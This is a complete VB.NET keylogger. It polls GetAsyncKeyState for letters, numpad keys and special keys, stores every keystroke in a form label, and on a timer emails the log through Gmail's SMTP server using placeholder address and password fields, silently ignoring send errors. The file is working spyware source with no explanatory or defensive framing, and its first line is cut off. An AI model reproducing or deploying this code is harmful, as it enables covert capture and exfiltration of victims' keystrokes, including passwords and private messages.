mports System.Net.Mail
Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "User32" (ByVal vKey As Long) As Integer
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer1.Start()
        Timer2.Start()
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim a As Boolean
        Dim b As Boolean
        Dim c As Boolean
        Dim d As Boolean
        Dim letterE As Boolean
        Dim f As Boolean
        Dim g As Boolean
        Dim h As Boolean
        Dim i As Boolean
        Dim j As Boolean
        Dim k As Boolean
        Dim l As Boolean
        Dim m As Boolean
        Dim n As Boolean
        Dim o As Boolean
        Dim p As Boolean
        Dim q As Boolean
        Dim r As Boolean
        Dim s As Boolean
        Dim t As Boolean
        Dim u As Boolean
        Dim v As Boolean
        Dim w As Boolean
        Dim x As Boolean
        Dim y As Boolean
        Dim z As Boolean
        Dim enter As Boolean
        Dim space As Boolean
        Dim plus As Boolean
        Dim minus As Boolean
        Dim slash As Boolean
        Dim insert As Boolean
        Dim home As Boolean
        Dim shift As Boolean
        Dim numpad1 As Boolean
        Dim numpad2 As Boolean
        Dim numpad3 As Boolean
        Dim numpad4 As Boolean
        Dim numpad5 As Boolean
        Dim numpad6 As Boolean
        Dim numpad7 As Boolean
        Dim numpad8 As Boolean
        Dim numpad9 As Boolean


        a = GetAsyncKeyState(Keys.A)
        b = GetAsyncKeyState(Keys.B)
        c = GetAsyncKeyState(Keys.C)
        d = GetAsyncKeyState(Keys.D)
        letterE = GetAsyncKeyState(Keys.E)
        f = GetAsyncKeyState(Keys.F)
        g = GetAsyncKeyState(Keys.G)
        h = GetAsyncKeyState(Keys.H)
        i = GetAsyncKeyState(Keys.I)
        j = GetAsyncKeyState(Keys.J)
        k = GetAsyncKeyState(Keys.K)
        l = GetAsyncKeyState(Keys.L)
        m = GetAsyncKeyState(Keys.M)
        n = GetAsyncKeyState(Keys.N)
        o = GetAsyncKeyState(Keys.O)
        p = GetAsyncKeyState(Keys.P)
        q = GetAsyncKeyState(Keys.Q)
        r = GetAsyncKeyState(Keys.R)
        s = GetAsyncKeyState(Keys.S)
        t = GetAsyncKeyState(Keys.T)
        u = GetAsyncKeyState(Keys.U)
        v = GetAsyncKeyState(Keys.V)
        w = GetAsyncKeyState(Keys.W)
        x = GetAsyncKeyState(Keys.X)
        y = GetAsyncKeyState(Keys.Y)
        z = GetAsyncKeyState(Keys.Z)
        enter = GetAsyncKeyState(Keys.Enter)
        space = GetAsyncKeyState(Keys.Space)
        plus = GetAsyncKeyState(Keys.Add)
        minus = GetAsyncKeyState(Keys.Subtract)
        slash = GetAsyncKeyState(Keys.Divide)
        insert = GetAsyncKeyState(Keys.Insert)
        home = GetAsyncKeyState(Keys.Home)
        shift = GetAsyncKeyState(Keys.Shift)
        numpad1 = GetAsyncKeyState(Keys.NumPad1)
        numpad2 = GetAsyncKeyState(Keys.NumPad2)
        numpad3 = GetAsyncKeyState(Keys.NumPad3)
        numpad4 = GetAsyncKeyState(Keys.NumPad4)
        numpad5 = GetAsyncKeyState(Keys.NumPad5)
        numpad6 = GetAsyncKeyState(Keys.NumPad6)
        numpad7 = GetAsyncKeyState(Keys.NumPad7)
        numpad8 = GetAsyncKeyState(Keys.NumPad8)
        numpad9 = GetAsyncKeyState(Keys.NumPad9)

        If a = True Then Label1.Text = Label1.Text & "a"
        If b = True Then Label1.Text = Label1.Text & "b"
        If c = True Then Label1.Text = Label1.Text & "c"
        If d = True Then Label1.Text = Label1.Text & "d"
        If letterE = True Then Label1.Text = Label1.Text & "e"
        If f = True Then Label1.Text = Label1.Text & "f"
        If g = True Then Label1.Text = Label1.Text & "g"
        If h = True Then Label1.Text = Label1.Text & "h"
        If i = True Then Label1.Text = Label1.Text & "i"
        If j = True Then Label1.Text = Label1.Text & "j"
        If k = True Then Label1.Text = Label1.Text & "k"
        If l = True Then Label1.Text = Label1.Text & "l"
        If m = True Then Label1.Text = Label1.Text & "m"
        If n = True Then Label1.Text = Label1.Text & "n"
        If o = True Then Label1.Text = Label1.Text & "o"
        If p = True Then Label1.Text = Label1.Text & "p"
        If q = True Then Label1.Text = Label1.Text & "q"
        If r = True Then Label1.Text = Label1.Text & "r"
        If s = True Then Label1.Text = Label1.Text & "s"
        If t = True Then Label1.Text = Label1.Text & "t"
        If u = True Then Label1.Text = Label1.Text & "u"
        If v = True Then Label1.Text = Label1.Text & "v"
        If w = True Then Label1.Text = Label1.Text & "w"
        If x = True Then Label1.Text = Label1.Text & "x"
        If y = True Then Label1.Text = Label1.Text & "y"
        If z = True Then Label1.Text = Label1.Text & "z"
        If enter = True Then Label1.Text = Label1.Text & "{ENTER}"
        If space = True Then Label1.Text = Label1.Text & " "
        If plus = True Then Label1.Text = Label1.Text & "+"
        If minus = True Then Label1.Text = Label1.Text & "-"
        If slash = True Then Label1.Text = Label1.Text & "/"
        If insert = True Then Label1.Text = Label1.Text & "{INSERT}"
        If home = True Then Label1.Text = Label1.Text & "{HOME}"
        If shift = True Then Label1.Text = Label1.Text & "{SHIFT}"
        If numpad1 = True Then Label1.Text = Label1.Text & "1"
        If numpad2 = True Then Label1.Text = Label1.Text & "2"
        If numpad3 = True Then Label1.Text = Label1.Text & "3"
        If numpad4 = True Then Label1.Text = Label1.Text & "4"
        If numpad5 = True Then Label1.Text = Label1.Text & "5"
        If numpad6 = True Then Label1.Text = Label1.Text & "6"
        If numpad7 = True Then Label1.Text = Label1.Text & "7"
        If numpad8 = True Then Label1.Text = Label1.Text & "8"
        If numpad9 = True Then Label1.Text = Label1.Text & "9"



    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Dim WC As New System.Net.WebClient

        Dim MyMailMessage As New MailMessage

        MyMailMessage.From = New MailAddress("youremail@gmail.com")

        MyMailMessage.To.Add("youremail@gmail.com")

        MyMailMessage.Subject = ("Logs")

        WC.Dispose()

        MyMailMessage.Body = (Label1.Text)

        Dim SMTPServer As New SmtpClient("smtp.gmail.com")

        SMTPServer.Port = 587

        SMTPServer.Credentials = New System.Net.NetworkCredential("youremail@gmail.com", "yourpassword")

        SMTPServer.EnableSsl = True

        Try

            SMTPServer.Send(MyMailMessage)

        Catch ex As SmtpException

        End Try
    End Sub
End Class